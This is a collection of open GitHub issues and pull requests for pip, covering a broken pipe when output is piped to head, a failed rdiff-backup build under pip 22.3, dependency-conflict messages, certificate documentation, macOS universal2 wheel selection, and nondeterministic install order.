$ head --version
head (GNU coreutils) 8.30
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Written by David MacKenzie and Jim Meyering.
$ pip list | head -1
Package                                Version     Editable project location
ERROR: Pipe to stdout was broken
Exception ignored in: <_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>
BrokenPipeError: [Errno 32] Broken pipe
```

Interestingly, it doesn't happen for pip freeze

```
$ pip freeze | head -1
anytree==2.8.0
```

user: wimglenn
labels: S: awaiting response: Waiting for a response/more information
issue_11602: state: open
title: Experiemental build env backend by pypa/build
body: The current build backend is moved to a subpackage, and the new one can be enabled with `--use-feature=build`.
user: uranusjr
labels: needs rebase or merge: PR has conflicts with current master
issue_11597: state: open
title: Upgrade from 22.2.2 to 22.3 introduce a backward incompatibility
body: ### Description

I'm using `tox` in my CICD pipeline to create a virtualenv and run test.

During the installation of dependencies, recent version of pip 22.3 is failing to build rdiff-backup==2.0.5 on MacOS

tox.ini
```
[tox]
envlist = py3
 
[testenv]
download = true
setenv =
  VIRTUALENV_PIP=22.3
deps =
  rdiff-backup==2.0.5
commands =
  rdiff-backup --version
skip_install = true
```

Is failing with:
```
 tox        
py3 create: /Users/vmtest/test/.tox/py3
py3 installdeps: rdiff-backup==2.0.5
ERROR: invocation failed (exit code 1), logfile: /Users/vmtest/test/.tox/py3/log/py3-1.log
================================== log start ===================================
Collecting rdiff-backup==2.0.5
  Using cached rdiff-backup-2.0.5.tar.gz (456 kB)
  Preparing metadata (setup.py): started
  Preparing metadata (setup.py): finished with status 'done'
Requirement already satisfied: setuptools in ./.tox/py3/lib/python3.9/site-packages (from rdiff-backup==2.0.5) (65.5.0)
Building wheels for collected packages: rdiff-backup
  Building wheel for rdiff-backup (setup.py): started
  Building wheel for rdiff-backup (setup.py): finished with status 'error'
  error: subprocess-exited-with-error
 
  × python setup.py bdist_wheel did not run successfully.
  │ exit code: 1
  ╰─> [58 lines of output]
      /Users/vmtest/test/.tox/py3/lib/python3.9/site-packages/setuptools/installer.py:27: SetuptoolsDeprecationWarning: setuptools.installer is deprecated. Requirements should be satisfied by a PEP 517 installer.
        warnings.warn(
      running bdist_wheel
      running build
      running build_py
      running build_templates
      templating tools/rdiff-backup.spec.template -> build/rdiff-backup.spec
      creating build
      templating tools/rdiff-backup.spec.template-fedora -> build/rdiff-backup.fedora.spec
      templating docs/rdiff-backup.1 -> build/rdiff-backup.1
      templating docs/rdiff-backup-statistics.1 -> build/rdiff-backup-statistics.1
      creating build/lib.macosx-10.15-x86_64-cpython-39
      creating build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/TempFile.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/user_group.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/Time.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/iterfile.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/backup.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/metadata.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/SetConnections.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/log.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/increment.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/win_acls.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/Globals.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/Security.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/__init__.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/librsync.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/FilenameMapping.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/hash.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/connection.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/eas_acls.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/Hardlink.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/Rdiff.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/longname.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/robust.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/manage.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/statistics.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/selection.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/Main.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/regress.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/restore.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/rpath.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/rorpiter.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/compare.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/fs_abilities.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      running build_ext
      building 'rdiff_backup.C' extension
      creating build/temp.macosx-10.15-x86_64-cpython-39
      creating build/temp.macosx-10.15-x86_64-cpython-39/src
      clang -Wno-unused-result -Wsign-compare -Wunreachable-code -fno-common -dynamic -DNDEBUG -g -fwrapv -O3 -Wall -isysroot /Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk -I/Users/vmtest/test/.tox/py3/include -I/usr/local/opt/python@3.9/Frameworks/Python.framework/Versions/3.9/include/python3.9 -c src/cmodule.c -o build/temp.macosx-10.15-x86_64-cpython-39/src/cmodule.o
      clang -bundle -undefined dynamic_lookup -isysroot /Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk build/temp.macosx-10.15-x86_64-cpython-39/src/cmodule.o -o build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup/C.cpython-39-darwin.so
      building 'rdiff_backup._librsync' extension
      clang -Wno-unused-result -Wsign-compare -Wunreachable-code -fno-common -dynamic -DNDEBUG -g -fwrapv -O3 -Wall -isysroot /Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk -I/Users/vmtest/test/.tox/py3/include -I/usr/local/opt/python@3.9/Frameworks/Python.framework/Versions/3.9/include/python3.9 -c src/_librsyncmodule.c -o build/temp.macosx-10.15-x86_64-cpython-39/src/_librsyncmodule.o
      src/_librsyncmodule.c:25:10: fatal error: 'librsync.h' file not found
      #include <librsync.h>
               ^~~~~~~~~~~~
      1 error generated.
      error: command '/usr/bin/clang' failed with exit code 1
      [end of output]
 
  note: This error originates from a subprocess, and is likely not a problem with pip.
  ERROR: Failed building wheel for rdiff-backup
  Running setup.py clean for rdiff-backup
Failed to build rdiff-backup
Installing collected packages: rdiff-backup
  Running setup.py install for rdiff-backup: started
  Running setup.py install for rdiff-backup: finished with status 'error'
  error: subprocess-exited-with-error
 
  × Running setup.py install for rdiff-backup did not run successfully.
  │ exit code: 1
  ╰─> [60 lines of output]
      /Users/vmtest/test/.tox/py3/lib/python3.9/site-packages/setuptools/installer.py:27: SetuptoolsDeprecationWarning: setuptools.installer is deprecated. Requirements should be satisfied by a PEP 517 installer.
        warnings.warn(
      running install
      /Users/vmtest/test/.tox/py3/lib/python3.9/site-packages/setuptools/command/install.py:34: SetuptoolsDeprecationWarning: setup.py install is deprecated. Use build and pip and other standards-based tools.
        warnings.warn(
      running build
      running build_py
      running build_templates
      templating tools/rdiff-backup.spec.template -> build/rdiff-backup.spec
      creating build
      templating tools/rdiff-backup.spec.template-fedora -> build/rdiff-backup.fedora.spec
      templating docs/rdiff-backup.1 -> build/rdiff-backup.1
      templating docs/rdiff-backup-statistics.1 -> build/rdiff-backup-statistics.1
      creating build/lib.macosx-10.15-x86_64-cpython-39
      creating build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/TempFile.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/user_group.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/Time.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/iterfile.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/backup.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/metadata.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/SetConnections.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/log.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/increment.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/win_acls.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/Globals.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/Security.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/__init__.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/librsync.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/FilenameMapping.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/hash.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/connection.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/eas_acls.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/Hardlink.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/Rdiff.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/longname.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/robust.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/manage.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/statistics.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/selection.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/Main.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/regress.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/restore.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/rpath.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/rorpiter.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/compare.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      copying src/rdiff_backup/fs_abilities.py -> build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup
      running build_ext
      building 'rdiff_backup.C' extension
      creating build/temp.macosx-10.15-x86_64-cpython-39
      creating build/temp.macosx-10.15-x86_64-cpython-39/src
      clang -Wno-unused-result -Wsign-compare -Wunreachable-code -fno-common -dynamic -DNDEBUG -g -fwrapv -O3 -Wall -isysroot /Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk -I/Users/vmtest/test/.tox/py3/include -I/usr/local/opt/python@3.9/Frameworks/Python.framework/Versions/3.9/include/python3.9 -c src/cmodule.c -o build/temp.macosx-10.15-x86_64-cpython-39/src/cmodule.o
      clang -bundle -undefined dynamic_lookup -isysroot /Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk build/temp.macosx-10.15-x86_64-cpython-39/src/cmodule.o -o build/lib.macosx-10.15-x86_64-cpython-39/rdiff_backup/C.cpython-39-darwin.so
      building 'rdiff_backup._librsync' extension
      clang -Wno-unused-result -Wsign-compare -Wunreachable-code -fno-common -dynamic -DNDEBUG -g -fwrapv -O3 -Wall -isysroot /Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk -I/Users/vmtest/test/.tox/py3/include -I/usr/local/opt/python@3.9/Frameworks/Python.framework/Versions/3.9/include/python3.9 -c src/_librsyncmodule.c -o build/temp.macosx-10.15-x86_64-cpython-39/src/_librsyncmodule.o
      src/_librsyncmodule.c:25:10: fatal error: 'librsync.h' file not found
      #include <librsync.h>
               ^~~~~~~~~~~~
      1 error generated.
      error: command '/usr/bin/clang' failed with exit code 1
      [end of output]
 
  note: This error originates from a subprocess, and is likely not a problem with pip.
error: legacy-install-failure
 
× Encountered error while trying to install package.
╰─> rdiff-backup
 
note: This is an issue with the package mentioned above, not pip.
hint: See above for output from the failure.
 
[notice] A new release of pip available: 22.3 -> 22.3.1
[notice] To update, run: pip install --upgrade pip
 
=================================== log end ====================================
ERROR: could not install deps [rdiff-backup==2.0.5]; v = InvocationError('/Users/vmtest/test/.tox/py3/bin/python -m pip install rdiff-backup==2.0.5', 1)
___________________________________ summary ____________________________________
ERROR:   py3: could not install deps [rdiff-backup==2.0.5]; v = InvocationError('/Users/vmtest/test/.tox/py3/bin/python -m pip install rdiff-backup==2.0.5', 1)
```




### Expected behavior

I'm expecting recent version of pip to work as before or someone to explain what is the braking change and how to workaround it.

Here the execution with 22.2
```
% tox        
py3 installed: rdiff-backup==2.0.5
py3 run-test-pre: PYTHONHASHSEED='3941072388'
py3 run-test: commands[0] | rdiff-backup -version
Fatal Error: Verbosity must be a number, received 'ersion' instead.
ERROR: InvocationError for command /Users/vmtest/test/.tox/py3/bin/rdiff-backup -version (exited with code 1)
___________________________________ summary ____________________________________
ERROR:   py3: commands failed
vmtest@vmtests-iPro test % rdiff-backup --version
rdiff-backup 2.0.5
vmtest@vmtests-iPro test % vim tox.ini           
vmtest@vmtests-iPro test % 
vmtest@vmtests-iPro test % tox                   
py3 installed: rdiff-backup==2.0.5
py3 run-test-pre: PYTHONHASHSEED='3680319746'
py3 run-test: commands[0] | rdiff-backup --version
rdiff-backup 2.0.5
___________________________________ summary ____________________________________
  py3: commands succeeded
  congratulations :)
vmtest@vmtests-iPro test % 
vmtest@vmtests-iPro test % rm -Rf .tox 
vmtest@vmtests-iPro test % tox
py3 create: /Users/vmtest/test/.tox/py3
py3 installdeps: rdiff-backup==2.0.5
py3 installed: rdiff-backup==2.0.5
py3 run-test-pre: PYTHONHASHSEED='431406182'
py3 run-test: commands[0] | rdiff-backup --version
rdiff-backup 2.0.5
___________________________________ summary ____________________________________
  py3: commands succeeded
  congratulations :)
```


### pip version

22.3

### Python version

3.9

### OS

MacOS

### How to Reproduce

-

### Output

-

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ikus060
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11596: state: open
title: Conflict message could be less noisy
body: ### What's the problem this feature will solve?

Installing some combination of flake8 related packages brought up this error:

```
INFO: pip is looking at multiple versions of flake8-bugbear to determine which version is compatible with other requirements. This could take a while.
    INFO: pip is looking at multiple versions of flake8-builtins to determine which version is compatible with other requirements. This could take a while.
    INFO: pip is looking at multiple versions of <Python from Requires-Python> to determine which version is compatible with other requirements. This could take a while.
    INFO: pip is looking at multiple versions of flake8-typing-imports to determine which version is compatible with other requirements. This could take a while.
    The conflict is caused by:
        The user requested flake8 5.0.4 (from /home/runner/.cache/pre-commit/repo4vthe38x)
        flake8-typing-imports 1.12.0 depends on flake8>=3.8
        flake8-builtins 1.5.3 depends on flake8
        flake8-bugbear 22.1.11 depends on flake8>=3.0.0
        flake8-isort 4.1.1 depends on flake8<5 and >=3.2.1
    
    To fix this you could try to:
    1. loosen the range of package versions you've specified
    2. remove package versions to allow pip attempt to solve the dependency conflict
    
    ERROR: Cannot install flake8 5.0.4 (from /home/runner/.cache/pre-commit/repo4vthe38x), flake8-bugbear==22.1.11, flake8-builtins==1.5.3, flake8-isort==4.1.1 and flake8-typing-imports==1.12.0 because these package versions have conflicting dependencies.
```

### Describe the solution you'd like

Most packages aren't actually in conflict with each other, the only actual conflict I can see is this one:

```
        The user requested flake8 5.0.4 [...]
        ...
        flake8-isort 4.1.1 depends on flake8<5 and >=3.2.1
```

### Alternative Solutions

?

### Additional context

?

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: jonashaag
labels: type: feature request: Request for a new feature
C: error messages: Improving error messages
issue_11579: state: open
title: pip not installing tsuff
body: ### Description

I'm having a problem with pip installed packages

here is me using the requests package. which requires a pip installation in the terminal
![image](https://user-images.githubusercontent.com/95878514/200147019-586022da-72c0-4097-ab97-ed712d213875.png)

despite me having it downloaded it doesnt work
![image](https://user-images.githubusercontent.com/95878514/200147062-e115be26-ff4f-426d-a282-8bf0fe21156b.png)
I dont know why

my best idea for it is maybe its not installing the packages. 
my proof it isn't a python issue is when I use python libraries it works. its just pip. 

### Expected behavior

to use a library 

### pip version

22.3

### Python version

3.11

### OS

Windows 10

### How to Reproduce

try doing import on any package installed with pip
if that doesn't work install a package

then do
import package 

and run python file 


### Output

Traceback (most recent call last):
  File "c:\Users\jduda\OneDrive\Documents\~VScodeFiles\Go\learning\Test.py", line 1, in <module>
    import pygame
ModuleNotFoundError: No module named 'pygame'

you will get this

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: TheoW03
labels: type: bug: A confirmed bug or unintended behavior
S: awaiting response: Waiting for a response/more information
S: needs triage: Issues/PRs that need to be triaged
issue_11578: state: open
title: #11577 - improve error message when using non local URIs
body: Added an error message with further details. Fixes #11577 .
user: froli-code
issue_11577: state: open
title: Improve error message when using non local file URIs
body: ### Description

Issue created as a successor to #6247

If an URI contains a reference to a remote host (e.g. `file://myfoo/` ) the following error message is provided:
`ValueError: non-local file URIs are not supported on this platform: 'file://myfoo/'`



### Expected behavior

While the error-message is correct, it could be improved in order to explain the behavior and suggest a solution to the user.
It is quite likely that the user wanted to use a local file, and not a file located on a remote host.

The following error message is suggested:
`'file://myfoo/' points to the domain 'myfoo'. Non-local file URIs are not supported on this platform. Did you mean to use 'file:/myfoo/'?`

In version 22.3 the stack-trace is included in the error message as well. I don't think that this is needed, since the error message above would explain the issue.

### pip version

22.3

### Python version

3.10

### OS

Manjaro 22.0.0

### How to Reproduce

```
# requirements.txt
myfoo
```

```
# constraints.txt
file://myfoo/
```

`$ pip install -r requirements.txt -c constraints.txt`

### Output

```
ERROR: Exception:
Traceback (most recent call last):
  File "/usr/lib/python3.10/site-packages/pip/_internal/cli/base_command.py", line 160, in exc_logging_wrapper
    status = run_func(*args)
  File "/usr/lib/python3.10/site-packages/pip/_internal/cli/req_command.py", line 247, in wrapper
    return func(self, options, args)
  File "/usr/lib/python3.10/site-packages/pip/_internal/commands/install.py", line 344, in run
    reqs = self.get_requirements(args, options, finder, session)
  File "/usr/lib/python3.10/site-packages/pip/_internal/cli/req_command.py", line 403, in get_requirements
    req_to_add = install_req_from_parsed_requirement(
  File "/usr/lib/python3.10/site-packages/pip/_internal/req/constructors.py", line 471, in install_req_from_parsed_requirement
    req = install_req_from_line(
  File "/usr/lib/python3.10/site-packages/pip/_internal/req/constructors.py", line 395, in install_req_from_line
    return InstallRequirement(
  File "/usr/lib/python3.10/site-packages/pip/_internal/req/req_install.py", line 127, in __init__
    self.local_file_path = self.link.file_path
  File "/usr/lib/python3.10/site-packages/pip/_internal/models/link.py", line 330, in file_path
    return url_to_path(self.url)
  File "/usr/lib/python3.10/site-packages/pip/_internal/utils/urls.py", line 43, in url_to_path
    raise ValueError(
ValueError: non-local file URIs are not supported on this platform: 'file://myfoo/'
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: froli-code
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11574: state: open
title: Documentation Update: Specify where to get a .PEM file for `--cert` option
body: ### What's the problem this feature will solve?

When building old versions of Python (3.7, 3.8, 3.9) the bundled pip3 version does not have the correct bundled certificates to get packages or updates from Pypi.org.

If you search the web, the recommended solution is to acquire the Mozilla certificate bundle from a third party and pass it in as an argument to `python3 -m pip install --upgrade --cert=path/to/cert.pem`. This is bad security practice. [More details here.](https://blog.mozilla.org/security/2021/05/10/beware-of-applications-misusing-root-stores/).

There are many people complaining about SSL, want to disable it, etc. This would all be a lot less painful if the pip documents simply *provided a root store* that could be downloaded and used. 

I'm not a security guy, and I don't know what all is involved, but if we need a .pem file to upgrade old versions of pip... shouldn't that be provided by pypi or pip through their website?

### Describe the solution you'd like

Embed instructions on how to obtain a cert for the `--cert` flag in the documentation here: [Using a specific certificate store](https://pip.pypa.io/en/stable/topics/https-certificates/?highlight=SSL%20certificate%20#using-a-specific-certificate-store)

Potentially add a link to this cert file in other locations.

This cert file would contain only the components needed to upgrade pip to its latest version. Subsequent use of pip could then use the cert information embedded in pip itself.

### Alternative Solutions

The pip team could work with the python team to backport the pip certs into the older builds of python available through python.org.

Solutions that bypass TLS/SSL security should not be used for these reasons:
* Less secure
* These "workarounds" tend to get deprecated frequently
* These "workarounds" will be rejected by sharp security teams

### Additional context

* https://groups.google.com/g/mozilla.dev.security.policy/c/FYIBEF_AVMI?pli=1
* https://blog.mozilla.org/security/2021/05/10/beware-of-applications-misusing-root-stores/
* https://www.ccadb.org/resources
* https://groups.google.com/g/mozilla.dev.security.policy/c/FYIBEF_AVMI?pli=1
* https://stackoverflow.com/questions/25981703/pip-install-fails-with-connection-error-ssl-certificate-verify-failed-certi
* http://curl.haxx.se/ca/cacert.pem

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: hardingprofessional
labels: type: docs: Documentation related
good first issue: A good item for first time contributors to work on
type: feature request: Request for a new feature
issue_11573: state: open
title: architecture-specific binaries are preferred on macOS when universal2 should always be selected
body: ### Description

If `pip` sees both `x86_64` and `universal2` wheels on an `x86_64` machine, it will prefer to install `x86_64` wheels, creating a partially-broken virtual environment that cannot be used to create `universal2` (i.e. "broadly usable") redistributables.

### Expected behavior

I would expect that `pip` would prefer to install `universal2` artifacts when available, so that when building an app with e.g. `py2app` in a virtual environment created with `pip`, I'd be able to create a `universal2` application even if I don't have an Apple Silicon mac handy.

This is particularly an issue because package maintainers who want to be friendly to older versions of `pip` that don't support `universal2` properly are creating architecture-specific binaries, and the existence of those creates a worse and more error-prone experience for newer, more up-to-date `pip` users.

### pip version

22.3

### Python version

3.11.0

### OS

macOS

### How to Reproduce

arch -arch x86_64 ./asdf/bin/python3 -m pip install cryptography

### Output

  Downloading http://127.0.0.1:3141/root/pypi/%2Bf/3fc/26e22840b7732/cryptography-38.0.1-cp36-abi3-macosx_10_10_x86_64.whl (2.8 MB)


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: glyph
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11572: state: open
title: pip install nondeterministic order even for explicitly provided wheels
body: ### Description

Subsequent calls to `pip install` do not execute in the same order, _even when wheels are vendored, and no index is used_.

This seems unnecessarily nondeterministic (to me), and makes it harder than necessary to reproduce bugs (including bugs in pip).

### Expected behavior

_No response_

### pip version

22.0.2

### Python version

Ptyhon 3.10

### OS

any (presumably); in practice: ubuntu

### How to Reproduce


```
(areyoudeterministic) me:/tmp/areyoudeterministic$ cat requirements.txt 
Django==4.0.*
pytz==2022.1
whitenoise==6.0.0
sqlparse==0.4.2
cfenv==0.5.3
Authlib==1.0.1
requests==2.27.1
djangorestframework==3.13.1
djangorestframework-datatables==0.7.0
cryptography
pandas==1.5.0
reportlab==3.6.11
gunicorn==20.1.0
mysqlclient==2.1.0
django-migration-linter
cfenv==0.5.3
django-auth-ldap==4.0.0

(areyoudeterministic) me:/tmp/areyoudeterministic$ pip wheel --no-binary=:none: -r requirements.txt -w vendor
Collecting Django==4.0.*
  Using cached Django-4.0.8-py3-none-any.whl (8.0 MB)
[..]
Saved ./vendor/setuptools-65.5.0-py3-none-any.whl

(areyoudeterministic) me:/tmp/areyoudeterministic$ python -m venv .

(areyoudeterministic) me:/tmp/areyoudeterministic$ pip install -r requirements.txt --find-links=vendor --no-index
Looking in links: vendor
Processing ./vendor/Django-4.0.8-py3-none-any.whl
Processing ./vendor/pytz-2022.1-py2.py3-none-any.whl
Processing ./vendor/whitenoise-6.0.0-py3-none-any.whl
Processing ./vendor/sqlparse-0.4.2-py3-none-any.whl
Processing ./vendor/cfenv-0.5.3-py2.py3-none-any.whl
Processing ./vendor/Authlib-1.0.1-py2.py3-none-any.whl
Processing ./vendor/requests-2.27.1-py2.py3-none-any.whl
Processing ./vendor/djangorestframework-3.13.1-py3-none-any.whl
Processing ./vendor/djangorestframework_datatables-0.7.0-py2.py3-none-any.whl
Processing ./vendor/cryptography-38.0.3-cp36-abi3-manylinux_2_28_x86_64.whl
Processing ./vendor/pandas-1.5.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Processing ./vendor/reportlab-3.6.11-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Processing ./vendor/gunicorn-20.1.0-py3-none-any.whl
Processing ./vendor/mysqlclient-2.1.0-cp310-cp310-linux_x86_64.whl
Processing ./vendor/django_migration_linter-4.1.0-py3-none-any.whl
Processing ./vendor/django_auth_ldap-4.0.0-py3-none-any.whl
Processing ./vendor/asgiref-3.5.2-py3-none-any.whl
Processing ./vendor/furl-2.1.3-py2.py3-none-any.whl
Processing ./vendor/idna-3.4-py3-none-any.whl
Processing ./vendor/urllib3-1.26.12-py2.py3-none-any.whl
Processing ./vendor/certifi-2022.9.24-py3-none-any.whl
Processing ./vendor/charset_normalizer-2.0.12-py3-none-any.whl
Processing ./vendor/python_dateutil-2.8.2-py2.py3-none-any.whl
Processing ./vendor/numpy-1.23.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Processing ./vendor/Pillow-9.3.0-cp310-cp310-manylinux_2_28_x86_64.whl
Requirement already satisfied: setuptools>=3.0 in ./lib/python3.10/site-packages (from gunicorn==20.1.0->-r requirements.txt (line 13)) (59.6.0)
Processing ./vendor/python_ldap-3.4.3-cp310-cp310-linux_x86_64.whl
Processing ./vendor/cffi-1.15.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Processing ./vendor/toml-0.10.2-py2.py3-none-any.whl
Processing ./vendor/appdirs-1.4.4-py2.py3-none-any.whl
Processing ./vendor/pycparser-2.21-py2.py3-none-any.whl
Processing ./vendor/six-1.16.0-py2.py3-none-any.whl
Processing ./vendor/orderedmultidict-1.0.1-py2.py3-none-any.whl
Processing ./vendor/pyasn1_modules-0.2.8-py2.py3-none-any.whl
Processing ./vendor/pyasn1-0.4.8-py2.py3-none-any.whl
Installing collected packages: pytz, pyasn1, appdirs, whitenoise, urllib3, toml, sqlparse, six, pycparser, pyasn1-modules, pillow, numpy, mysqlclient, idna, gunicorn, charset-normalizer, certifi, asgiref, requests, reportlab, python-ldap, python-dateutil, orderedmultidict, Django, cffi, pandas, furl, djangorestframework, django-migration-linter, django-auth-ldap, cryptography, djangorestframework-datatables, cfenv, Authlib
Successfully installed Authlib-1.0.1 Django-4.0.8 appdirs-1.4.4 asgiref-3.5.2 certifi-2022.9.24 cfenv-0.5.3 cffi-1.15.1 charset-normalizer-2.0.12 cryptography-38.0.3 django-auth-ldap-4.0.0 django-migration-linter-4.1.0 djangorestframework-3.13.1 djangorestframework-datatables-0.7.0 furl-2.1.3 gunicorn-20.1.0 idna-3.4 mysqlclient-2.1.0 numpy-1.23.4 orderedmultidict-1.0.1 pandas-1.5.0 pillow-9.3.0 pyasn1-0.4.8 pyasn1-modules-0.2.8 pycparser-2.21 python-dateutil-2.8.2 python-ldap-3.4.3 pytz-2022.1 reportlab-3.6.11 requests-2.27.1 six-1.16.0 sqlparse-0.4.2 toml-0.10.2 urllib3-1.26.12 whitenoise-6.0.0

(areyoudeterministic) me:/tmp/areyoudeterministic$ rm bin/ include/ lib lib64/ -rf
(areyoudeterministic) me:/tmp/areyoudeterministic$ python -m venv .
(areyoudeterministic) me:/tmp/areyoudeterministic$ pip install -r requirements.txt --find-links=vendor --no-index
Looking in links: vendor
Processing ./vendor/Django-4.0.8-py3-none-any.whl
Processing ./vendor/pytz-2022.1-py2.py3-none-any.whl
Processing ./vendor/whitenoise-6.0.0-py3-none-any.whl
